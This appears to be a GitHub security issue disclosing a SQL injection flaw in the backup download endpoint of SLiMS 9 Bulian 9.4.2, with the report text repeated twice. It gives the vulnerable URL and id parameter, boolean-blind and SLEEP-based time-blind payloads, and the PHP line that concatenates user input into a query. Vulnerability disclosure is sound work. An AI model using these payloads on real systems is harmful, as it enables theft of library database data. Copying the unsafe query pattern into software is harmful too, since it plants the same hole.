Slims9 Bulian 9.4.2 is affected by SQL injection in /admin/modules/system/backup.php. User data can be obtained.
SQL injection exists in the /admin/modules/system/backup.php file. There is no effective defense against the comment field, leading to SQL injection attacks.
The link is: `http://192.168.31.63/admin/modules/system/backup.php?action=download&id=1`
Vulnerable parameter `id`
SQL injection payload
`Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: action=download&id=2 OR NOT 8551=8551
`
`Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=download&id=2 AND (SELECT 7623 FROM (SELECT(SLEEP(5)))zpJu)`
<img width="558" alt="7" src="https://user-images.githubusercontent.com/18564938/147107829-026df7bf-f459-43e8-8388-4508075483bc.png">
The problematic code
`if(isset($_GET['action']) && isset($_GET['id']) && $_GET['action'] == 'download'){
  $id = utility::filterData('id', 'get', true, true, true);
  $_q = $dbs->query("SELECT backup_file FROM backup_log WHERE backup_log_id=".$id);
  $path = $_q->fetch_row()[0];`
[Security Bugs] SQL Injection
This is a GitHub Issue
repo:slims9_bulian
owner:slims
Title : [Security Bugs] SQL Injection
Issue date:

--- start body ---
SQL injection exists in the /admin/modules/system/backup.php file. There is no effective defense against the comment field, leading to SQL injection attacks.
The link is: `http://192.168.31.63/admin/modules/system/backup.php?action=download&id=1`
Vulnerable parameter `id`
SQL injection payload
`Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: action=download&id=2 OR NOT 8551=8551
`
`Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=download&id=2 AND (SELECT 7623 FROM (SELECT(SLEEP(5)))zpJu)`
<img width="558" alt="7" src="https://user-images.githubusercontent.com/18564938/147107829-026df7bf-f459-43e8-8388-4508075483bc.png">
The problematic code
`if(isset($_GET['action']) && isset($_GET['id']) && $_GET['action'] == 'download'){
  $id = utility::filterData('id', 'get', true, true, true);
  $_q = $dbs->query("SELECT backup_file FROM backup_log WHERE backup_log_id=".$id);
  $path = $_q->fetch_row()[0];`
--- end body ---
